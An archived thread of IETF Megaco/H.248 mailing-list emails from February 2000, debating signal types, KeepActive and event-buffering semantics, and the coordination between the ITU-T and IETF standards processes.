To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7BIT

Following up on the package format issue:

   Section:        E.1.3, E.3.3, E.5.3, E.7.3
   Category:       Technical, Editorial
   Issue:          The draft text does not follow the package format
   specified in Section 12.1.4. More specifically, neither SignalType
   nor Duration is specified.
   Proposal:       It is recommended that SignalType and Duration are
specified.
   v13 Status:     OPEN. No text changed.

All the properties of the Base Root Package (Section E.2.1) except one are
not defined in a Descriptor.

Am I correct in my understanding that packages defining new properties must
define those properties to be in an existing descriptor? Otherwise, I can't
see how syntactically an MGC could modify or even audit the package's
property values.

Paul Rupsis
Dialogic, an Intel Company


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 17:27:00 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12171
	for ; Thu, 10 Feb 2000 17:26:58 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.942F7470@standards.nortelnetworks.com>; Thu, 10 Feb 2000 17:23:43 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39008 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 17:23:26 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.2467FF00@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          17:13:26 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          XAA00808; Thu, 10 Feb 2000 23:15:55 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id XAA25915;
          Thu, 10 Feb 2000 23:15:54 +0100
Received: from ericsson.com ([146.11.7.133]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id XAA12305; Thu, 10 Feb 2000
          23:15:44 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
            <38A1B37D.60C50000@worldnet.att.net>
            <38A30216.134B17A3@ericsson.com>
            <38A31D6C.C22C7570@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A33893.58078E8B@ericsson.com>
Date:         Thu, 10 Feb 2000 23:15:47 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Flemming,

I see OO events as being more for tones or situations where the MG is
continuously supplying a current (sorry for bringing HW into things).
ie. ring tone continuously supplies a ringing current. For a VisualMWI
indicator what you are doing is instantaneous. ie. a function call to
move pixels on a screen. You don't keep calling the function to keep it
on the display. You call another function to remove the visual
indication. I think this is more suited to BR.

As you say this is a matter of taste. I believe this is a clean
distinction.

Given the following matrix I believe you need to be able to for signal
behaviour. To me these are valid operations.
                        Interupt     Non-interrupt
Play once                  1               2
Play for a time            3               4
Play until turned off      5               6

If you tie replacement behaviour to signal type you only get 3 options.
I believe if  BR, TO, OO the number of time you play a signal and add a
KEEPACTIVE parameter then you can acheive all this. KEEPACTIVE is needed
anyway to get over the signal double playing problem. Having this type
of semantics also allows us to add other keywords in CS2,3 etc for
things like queue, replace........

Are we coming any closer to understanding each other?

Cheers, Christian

Flemming Andreasen wrote:
>
> That could be another way of doing it. The drawbacks I see is that whenever you want to have this
> behavior, you now have to define two signals; one for "on", and one for "off". Defining the
> on/off type with one indication for "on" and another for "off" solves the problem once and for
> all. Conceptually, I think it's cleaner, but that is inarguably a matter of taste. Do you see any
> problems with it ?
>
> -- Flemming
>
> Christian Groves wrote:
>
> > G'Day Flemming,
> >
> > Why can't you define vmwi-on and wmwi-off property? This solves your
> > problem. These could be both signal type 'brief' (ie. once). vmwi-on
> > turns on your indicator. It stays on no matter what you do. You then
> > issue vmwi-off it turns the indicator off.
> >
> > I think this solves your problem???
> >
> > Cheers, Christian
> >
> > Flemming Andreasen wrote:
> > >
> > > Christian Groves wrote:
> > >
> > > > To me it makes no sense to draw distinction between the types of signals
> > > > and replacement behaviour.
> > > >
> > > > With the following rules, what behaviour can't you handle?
> > > >
> > > > o You can explicitely define the replacement behaviour using the
> > > >   KEEPACTIVE flag. ie. If on, Signals are not stopped by events
> > >
> > > The problem here is, that KeepActive is an event parameter, not a signal parameter. Thus,
> > > let's say I send down an EventsDescriptor looking for off-hook, and a SignalsDescriptor
> > > applying ringing (TO), and vmwi (OO). I don't want my vmwi to be stopped by off-hook, but I
> > > do want ringing to be stopped. How do I do that with the KeepActive flag ?
> > >
> > > >
> > > > o Signals can be of a transition type "on->off" or something with
> > > >   duration "plays for x seconds". This does not have to be part of the
> > > >   protocol. Its a characteristic of the tone/message to be played.
> > >
> > > It sounds like we are in agreement, so I might be misunderstanding. The protocol defines
> > > certain basic characteristics of different types of signals. Specifically those types are
> > > BR, TO, and OO.
> > >
> > > >
> > > > o Using BR,TO,OO controls the number of times that it is "played"
> > >
> > > That doesn't achieve all of what we want.
> > >
> > > >
> > > >
> > > > Cheers, Christian
> > > >
> > >
> > > -- Flemming
> > >
> > > << stuff deleted >>
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 17:53:56 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12495
	for ; Thu, 10 Feb 2000 17:53:53 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6281B970@standards.nortelnetworks.com>; Thu, 10 Feb 2000 17:50:57 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39162 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 17:49:50 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.D469CC50@standards.nortelnetworks.com>; Thu, 10 Feb 2000 17:39:49
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA14679; Thu, 10 Feb
          2000 17:42:17 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA04261; Thu, 10 Feb
          2000 17:42:20 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL7XCX>; Thu, 10 Feb 2000 17:38:55 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208912@whq-msgusr-02.fore.com>
Date:         Thu, 10 Feb 2000 17:42:18 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

FWIW, I've always maintained that signals make noise.  Things that
don't aren't signals, they are properties.  I've flopped around a
bit on power ring.  It makes noise, but it's not in-band.  I think
it's a TO signal.  I think MWI is a property.

The IPPhone guys hate that; they want buttons to be events and
indicators to be signals.  I think it's perfectly reasonable to
have a state change on a property cause an event.  That makes
buttons properties with state, change of state causing an event.
Hook should be the same - it's a property you can read, state
change causes an event.

I always am outnumbered in this.

Brian

> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Thursday, February 10, 2000 5:16 PM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Signals Operation
>
>
> G'Day Flemming,
>
> I see OO events as being more for tones or situations where the MG is
> continuously supplying a current (sorry for bringing HW into things).
> ie. ring tone continuously supplies a ringing current. For a VisualMWI
> indicator what you are doing is instantaneous. ie. a function call to
> move pixels on a screen. You don't keep calling the function
> to keep it
> on the display. You call another function to remove the visual
> indication. I think this is more suited to BR.
>
> As you say this is a matter of taste. I believe this is a clean
> distinction.
>
> Given the following matrix I believe you need to be able to for signal
> behaviour. To me these are valid operations.
>                         Interupt     Non-interrupt
> Play once                  1               2
> Play for a time            3               4
> Play until turned off      5               6
>
> If you tie replacement behaviour to signal type you only get
> 3 options.
> I believe if  BR, TO, OO the number of time you play a signal
> and add a
> KEEPACTIVE parameter then you can acheive all this.
> KEEPACTIVE is needed
> anyway to get over the signal double playing problem. Having this type
> of semantics also allows us to add other keywords in CS2,3 etc for
> things like queue, replace........
>
> Are we coming any closer to understanding each other?
>
> Cheers, Christian
>
> Flemming Andreasen wrote:
> >
> > That could be another way of doing it. The drawbacks I see
> is that whenever you want to have this
> > behavior, you now have to define two signals; one for "on",
> and one for "off". Defining the
> > on/off type with one indication for "on" and another for
> "off" solves the problem once and for
> > all. Conceptually, I think it's cleaner, but that is
> inarguably a matter of taste. Do you see any
> > problems with it ?
> >
> > -- Flemming
> >
> > Christian Groves wrote:
> >
> > > G'Day Flemming,
> > >
> > > Why can't you define vmwi-on and wmwi-off property? This
> solves your
> > > problem. These could be both signal type 'brief' (ie.
> once). vmwi-on
> > > turns on your indicator. It stays on no matter what you
> do. You then
> > > issue vmwi-off it turns the indicator off.
> > >
> > > I think this solves your problem???
> > >
> > > Cheers, Christian
> > >
> > > Flemming Andreasen wrote:
> > > >
> > > > Christian Groves wrote:
> > > >
> > > > > To me it makes no sense to draw distinction between
> the types of signals
> > > > > and replacement behaviour.
> > > > >
> > > > > With the following rules, what behaviour can't you handle?
> > > > >
> > > > > o You can explicitely define the replacement
> behaviour using the
> > > > >   KEEPACTIVE flag. ie. If on, Signals are not stopped
> by events
> > > >
> > > > The problem here is, that KeepActive is an event
> parameter, not a signal parameter. Thus,
> > > > let's say I send down an EventsDescriptor looking for
> off-hook, and a SignalsDescriptor
> > > > applying ringing (TO), and vmwi (OO). I don't want my
> vmwi to be stopped by off-hook, but I
> > > > do want ringing to be stopped. How do I do that with
> the KeepActive flag ?
> > > >
> > > > >
> > > > > o Signals can be of a transition type "on->off" or
> something with
> > > > >   duration "plays for x seconds". This does not have
> to be part of the
> > > > >   protocol. Its a characteristic of the tone/message
> to be played.
> > > >
> > > > It sounds like we are in agreement, so I might be
> misunderstanding. The protocol defines
> > > > certain basic characteristics of different types of
> signals. Specifically those types are
> > > > BR, TO, and OO.
> > > >
> > > > >
> > > > > o Using BR,TO,OO controls the number of times that it
> is "played"
> > > >
> > > > That doesn't achieve all of what we want.
> > > >
> > > > >
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > >
> > > > -- Flemming
> > > >
> > > > << stuff deleted >>
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 19:05:06 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13170
	for ; Thu, 10 Feb 2000 19:05:05 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5273B970@standards.nortelnetworks.com>; Thu, 10 Feb 2000 19:02:05 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39319 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 19:00:44 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.21C590F0@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          19:00:44 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 10 Feb 2000 18:02:56 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Thu, 10
          Feb 2000 19:02:41 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF6KKR>; Thu, 10 Feb 2000 18:02:39 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7423.4DF55C8A"
Message-ID:  
Date:         Thu, 10 Feb 2000 18:02:37 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: H.248 Activity
X-To:         Scott Bradner 
X-cc:         fred@cisco.com, mankin@isi.edu, vern@aciri.org, "Bigi, Fabio" 
              
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7423.4DF55C8A
Content-Type: text/plain

The situation is clear.  IETF process will be respected, and only one
protocol will be produced.  This leaves the following outlook for the
future:

Case 1: SG 16 decides H.248 at this meeting

Clearly, the IESG will have to delete the protocol milestone from the Megaco
charter.  The IESG may choose, as they have the right to do under our
agreement with the ITU-T, to publish H.248 as an Informational RFC.  There
is no particular reason not to -- the provision was negotiated so IETF
participants would not have to pay the ITU-T for a copy of the standard they
helped develop.

Case 2: SG 16 does not decide H.248 at this meeting.

In this case, the preferable outcome will be to allow the IETF to complete
its process and create a Standards-track RFC.  That in turn can be processed
into an ITU-T White Document at a Q. 14/16 Rapporteur's meeting convened for
the purpose, and eventually decided as H.248.  To allow this,
  -- SG 16 must seek to decide the document at the WTSA meeting in September
rather than the meeting proposed for June 15
  -- the IETF must complete its process well before May 15
  -- the ITU-T must schedule a Rapporteur's meeting to meet the May 15 White
Paper deadline

I can only apologize so many times, but I do regret the ill-will this
outcome is bound to generate between the two organizations, even though each
has done its best to accommodate the other.

Just in case Case 2 is what happens, I hereby rescind Last Call with the
intention that it will be declared on a document which reflects the results
of the present SG 16 meeting.   Meantime, we can still try to clean up all
we can before next Tuesday.

        Tom Taylor

------_=_NextPart_001_01BF7423.4DF55C8A
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: H.248 Activity




The situation is =
clear.  IETF process will be respected, and only one protocol will =
be produced.  This leaves the following outlook for the =
future:



Case 1: SG 16 =
decides H.248 at this meeting




Clearly, the IESG =
will have to delete the protocol milestone from the Megaco =
charter.  The IESG may choose, as they have the right to do under =
our agreement with the ITU-T, to publish H.248 as an Informational =
RFC.  There is no particular reason not to -- the provision was =
negotiated so IETF participants would not have to pay the ITU-T for a =
copy of the standard they helped develop.



Case 2: SG 16 does =
not decide H.248 at this meeting.




In this case, the =
preferable outcome will be to allow the IETF to complete its process =
and create a Standards-track RFC.  That in turn can be processed =
into an ITU-T White Document at a Q. 14/16 Rapporteur's meeting =
convened for the purpose, and eventually decided as H.248.  To =
allow this, 



  -- SG 16 must =
seek to decide the document at the WTSA meeting in September rather =
than the meeting proposed for June 15



  -- the IETF =
must complete its process well before May 15

  -- the ITU-T =
must schedule a Rapporteur's meeting to meet the May 15 White Paper =
deadline




I can only apologize =
so many times, but I do regret the ill-will this outcome is bound to =
generate between the two organizations, even though each has done its =
best to accommodate the other.



Just in case Case 2 =
is what happens, I hereby rescind Last Call with the intention that it =
will be declared on a document which reflects the results of the =
present SG 16 meeting.   Meantime, we can still try to clean =
up all we can before next Tuesday.


    

    Tom =
Taylor 

    




------_=_NextPart_001_01BF7423.4DF55C8A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 21:01:34 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA14222
	for ; Thu, 10 Feb 2000 21:01:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9071AD80@standards.nortelnetworks.com>; Thu, 10 Feb 2000 20:58:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 39517 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 20:56:56 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F78E6280@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          20:46:55 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 10 Feb 2000 19:48:12 -0600
Received: from zcard015.ca.nortel.com (actually zcard015) by zmers013; Thu, 10
          Feb 2000 20:48:03 -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XHH59; Thu, 10 Feb 2000 20:48:03
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.177]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CTDJ; Thu, 10 Feb 2000 20:47:58
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088DB@whq-msgusr-02.fore.com>
            <38A1AD3D.17962403@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A36AB6.5D9C1B36@nortelnetworks.com>
Date:         Thu, 10 Feb 2000 20:49:44 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Cisco SG16: Keep Active
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello all,

   I have tried to post to this thread, but have been thwarted twice by my
mail client crashing before I have been able to send my message.

   My intent is/has been to also provide support for the position that Brian
has been singlehandedly defending (until the following). I am completely of
the same school of thought as has been expressed that the mechanisms based on
MGCP are both unnecessarily complex and ambiguous.

  Rather than write a long point by point discussion about each of the
mechanisms and running the risk that yet another message will not make it to
the list, I will leave it at this. I simply want to make clear that Brian is
not representing just his personal view on this issue, but one which was
arrived at by group investigation, discussion and consensus. I find that I can
easily make the currently specified mechanism do all of the things I want and
need to do. As Christian said, if we find that there are future needs that are
not met, we can make the needed changes at that time.

Michael Brown

Christian Groves wrote:

> G'Day Brian,
>
> I hope I can be that voice. I believe that the mechanism proposed in the
> v14 draft is sufficient. I haven't seen any concrete example where it
> falls down. The behaviour of MGCP can be implemented in one way or
> another (its not clear to me that all the functionality is needed). If
> in the future we find that its not suffient then we can add
> functionality to the protocol in a CS2.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > I'm going to have to take a break on this thread to get out the V15
> > I-D.  I can get back to it when I finish.  In the mean time,
> > it would be helpful to hear more voices.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > Sent: Tuesday, February 08, 2000 12:06 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Cisco SG16: Keep Active
> > >
> > >
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > Flemming
> > > >
> > > > Rather than go through this, it seems we are in an impasse.
> > > >
> > > > I believe that the two modes provided give you all the tools
> > > > required to either have events sent to the MGC as fast as they
> > > > occur, but with little filtering, or, to have the MGC and the MG
> > > > be in lock-step on processing events.  If there are some wording
> > > > problems that make you think this is not so, we will have to change
> > > > them, as that is the intent.
> > >
> > > I think we are in agreement on this particular requirement
> > > part, however I
> > > believe there are details to be worked out as explained in my
> > > previous e-mail.
> > > My caveat here is the "lock-step on processing events", where
> > > I want a mechanism
> > > that allows you more flexibility in this processing than what
> > > you have specified
> > > in v14. TD-58 satisfies those requirements.
> > >
> > > >
> > > >
> > > > It would seem that there is only one fundamental difference in the
> > > > two mechanisms: you seem to want a way to have some events
> > > get buffered, and
> > > > then have something occur which causes the buffer
> > > > to be sent.  I think there is no such requirement.  Let me rephrase
> > > > that a little: the benefit of creating in-between mechanisms
> > > > is outweighed by the complexity of the mechanism required, and the
> > > > lack of agreement on what additional complexity is warranted.
> > >
> > > Precisely what complexity are we talking about here ? Despite
> > > the "no-op" change
> > > rule, I have played along and taken your v14 proposal and
> > > explained the problems
> > > I see with it. I think it's your turn to come forward with
> > > specific problems in
> > > the TD-58 scheme now.
> > >
> > >
> > >
> > > > I think you would agree that the "send events as you find them"
> > > > always works, it's just that the MGC may have to throw away some
> > > > events it may have been able to avoid seeing, which raises the
> > > > complexity of the MGC code required.  The issue is, how do you
> > > > find a middle ground that is truly useful?  I don't see it,
> > > > no one has supplied any justification for it.
> > >
> > > I believe TD-58 provides that middle ground. As for the
> > > usefulness I can only
> > > point to MGCP experience which truly is the only experience
> > > we have in this
> > > area. The experience we have there, is that the mechanism is
> > > sufficient. To give
> > > you some justification, I can (again) point you to, say MF
> > > trunking where I know
> > > of one example that took advantage of the combination of
> > > "Accumulate" and
> > > "Notify" action. There has also been some preliminary work
> > > done on scripting,
> > > and having a hard-coded Notify in the event handling would
> > > have been disastrous.
> > >
> > > >
> > > >
> > > > I have asked for an example of a system which needed some
> > > events buffered,
> > > > but others notified immediately, along with the buffer.
> > > > What you have provided in response is a "good design principals"
> > > > argument.  Simplicity is a good design principal.
> > >
> > > You are mixing two separate issues (or leaving out the main point).
> > >
> > > The first (and most important) issue is that I have a
> > > fundamental desire to
> > > provide a mechanism that allows the MG to some local processing. Can I
> > > demonstrate an absolutely need for this ? Of course not, it's
> > > an optimization,
> > > just like digit maps, pending responses, etc. are an
> > > optimization. Now I happen
> > > to believe (and have argued why several times now) that enabling local
> > > processing in the MG is very important, and the protocol
> > > absolutely must be
> > > designed with this in mind. Its good to simplify, but not to
> > > oversimplify.
> > >
> > > The second issue is whether a given MGC-MG relationship can
> > > ever have a need to
> > > sometimes Notify all events at once, and sometimes notify
> > > them in lock-step.
> > > This is where I apply the good design principle. Again, you
> > > are asking for a
> > > *necessity* example, well that's going to be hard for the
> > > same reasons as above.
> > > I see this property as enabling simplified MGC's and allowing for some
> > > flexibility in when you want to enable local MG processing
> > > and when you will
> > > not.
> > >
> > > The fundamental problem I am having with this discussion, is
> > > that you cannot (or
> > > at least have not) explained a single problem with the TD-58
> > > mechanism, but
> > > regardless you come up with a new mechanism. Whatever
> > > limitation I desribe with
> > > this new mechanism is simply addressed as something you can't
> > > imagine being
> > > useful (at least not necessary). Now, Brian you know I have a
> > > lot of respect for
> > > you, but having the protocol limited by your imagination when
> > > seemingly good
> > > alternatives exist in TD-58 is (with all due respect) simply
> > > not the way to do
> > > it. I ask you one more time to explain to me exactly what the
> > > problem with TD-58
> > > (details or requirements ) is ?
> > >
> > >
> > > >
> > > >
> > > > The rest is details; we can handle that if there is consensus
> > > > on the requirements.
> > >
> > > I'm not sure there is, but it's probably a good idea to have
> > > two separate
> > > threads on this one. Maybe we should start with the Megaco
> > > requirements, e.g.
> > > Section 5.4:
> > >
> > > "The Protocol must:
> > > ...
> > > c.   Allow reporting of detected events on the MG to the MGC.
> > > The proto-
> > >      col should provide the means to minimize the messaging
> > > required to
> > >      report commonly-occurring event sequences.
> > >
> > > d.   Allow the MGC to specify other actions (besides
> > > reporting) that the
> > >      MG should take upon detection of specified events."
> > >
> > >
> > > I don't really see v14 event handling satisfying these,
> > > however TD-58 certainly
> > > does.
> > >
> > >
> > > -- Flemming
> > >
> > >
> > > >
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > > > Sent: Tuesday, February 08, 2000 10:27 AM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Cisco SG16: Keep Active
> > > > >
> > > > >
> > > > > Brian
> > > > >
> > > > > Thanks for your detailed response - a detailed answer follows
> > > > > below. To
> > > > > summarize for those that do not feel like going through all
> > > > > the details here:
> > > > > 1. I still see significant drawbacks with the v14 scheme
> > > > > 2. I do not see those drawbacks with the TD-58 scheme
> > > > > 3. I have seen no advantages being offered with the v14
> > > > > scheme compared to the
> > > > > TD-58 scheme
> > > > >
> > > > > and consequently I must ask for the TD-58 scheme to be reinstated.
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > Thank you for taking the time to go through your issues.
> > > > > > I only wish you had done so two months ago!  Before dealing with
> > > > > > specifics, there is one aspect of the current mechanism you seem
> > > > > > to have misinterpreted.  When EventBuffering is ON,
> > > events detected
> > > > > > are compared against the EventBuffer Descriptor, not the
> > > > > Events Descriptor.
> > > > >
> > > > > You are right. While that addresses one specific comment
> > > > > below, it does not
> > > > > solve the fundamental problems though.
> > > > >
> > > > > >
> > > > > >
> > > > > > ...snip...
> > > > > > > The current event handling mechanism in Megaco/H248 v14 can
> > > > > > > be viewed as
> > > > > > > three processes that all interact. Events can be viewed as
> > > > > > > always being
> > > > > > > added to an event buffer (a FIFO queue) by an Event
> > > > > Detection process.
> > > > > >
> > > > > > > Another Event Processing process then removes these events
> > > > > > > from the FIFO
> > > > > > > queue. When a notification is sent, this process may block,
> > > > > > > waiting for a
> > > > > > > new Events Descriptor to be received. Events detected
> > > > > > > meanwhile will simply
> > > > > > > be added to the FIFO queue. Finally, whenever a new
> > > > > > > Events Descriptor is
> > > > > > > received the third process runs. This process determines the
> > > > > > > fate of events
> > > > > > > of events sitting in the FIFO queue, and installs a new
> > > > > > > Events Descriptor.
> > > > > > >
> > > > > > > The processes are illustrated in pseudo-code below
> > > > > > >
> > > > > > > Process 1: Event Detection
> > > > > > > ===================
> > > > > > > do {
> > > > > > > 
> > > > > > > if < event in current Events Descriptor> then   /* current
> > > > > > > Events Descriptor
> > > > > > > */
> > > > > > >   
> > > > > > >  else
> > > > > > >   
> > > > > > > } forever
> > > > > > The buffering process does not always buffer events.  In most
> > > > >
> > > > > Like I said, one way of viewing the procedure is the way I
> > > > > describe it. This is
> > > > > classic producer-consumer problem we are looking at here.
> > > > >
> > > > >
> > > > > >
> > > > > > cases, it immediately Notifies.  The decision process is:
> > > > > >         If EventBuffering is On,
> > > > > >                 If no events have been detected
> > > > > >                         ; the first event is
> > > immediately processed
> > > > > >                         If it is in Events Descriptor
> > > > > >                                 Notify immediately
> > > > > >                         Else
> > > > > >                                 discard
> > > > > >                 Else
> > > > > >                         If it is in EventBuffer Descriptor
> > > > > >                                 place in the buffer
> > > > > >                         Else
> > > > > >                                 discard
> > > > > >         Else
> > > > > >                 If the event is in Events Descriptor
> > > > > >                         Notify immediately
> > > > > >                 Else
> > > > > >                         discard
> > > > > >
> > > > > > To be really precise, it's possible that an event will occur
> > > > > > while another event is being processed when
> > > EventBuffering is Off,
> > > > > > and you could consider the second event in some kind of buffer.
> > > > >
> > > > > > I personally wouldn't - if it made it before I finished
> > > the Notify,
> > > > >
> > > > > > I'd add it to the Notify in process.  If it was after,
> > > I'd just hold
> > > > > > off processing it until I was done.
> > > > >
> > > > > That's not what the current text specifies, so if this is the
> > > > > behavior you want
> > > > > the text should be changed accordingly.
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > >
> > > > > > > Process 2: Event Processing
> > > > > > > ===================
> > > > > > > do {
> > > > > > >  < wait for event in event buffer>
> > > > > > >  < remove first event from event buffer>
> > > > > > >  if  then {
> > > > > > >   Notify(event)
> > > > > > >   if  (Eventbuffer = "on") then  /* current Events
> > > Descriptor */
> > > > > > >    
> > > > > > >  }
> > > > > > > } forever
> > > > > > I'd say this process doesn't exist
> > > > >
> > > > > Depends on how you look at it. Like I said, this is one way
> > > > > of looking at it. It
> > > > > achieves precisely the same as your algorithm above
> > > > >
> > > > > >
> > > > > >
> > > > > > > Process 3: New Event Descriptor
> > > > > > > =======================
> > > > > > > if    /* new EventsDescritpr */
> > > > > > >  
> > > > > > > 
> > > > > > This is incorrect.  The first part is correct (clear
> > > eventBuffer if
> > > > > > EventBuffering is off).  The second part is:
> > > > > >   Else
> > > > > >         While EventBuffer has any events
> > > > > >                 If Event is in new Events Descriptor
> > > > > >                         Notify this event
> > > > > >                         Exit loop
> > > > > >                 Else
> > > > > >                         discard
> > > > > >         End Loop
> > > > >
> > > > > No. Take another look at process 2, which is my consumer
> > > > > process. The effect is
> > > > > precisly what you have specified, however all of these are
> > > > > really besides the
> > > > > point.
> > > > >
> > > > > >
> > > > > >
> > > > > > >
> > > > > > > Unfortunately, this mechanism suffers from some drawbacks,
> > > > > > > especially when
> > > > > > > compared to the mechanism that was specified in TD-58 after
> > > > > > > the Red Bank
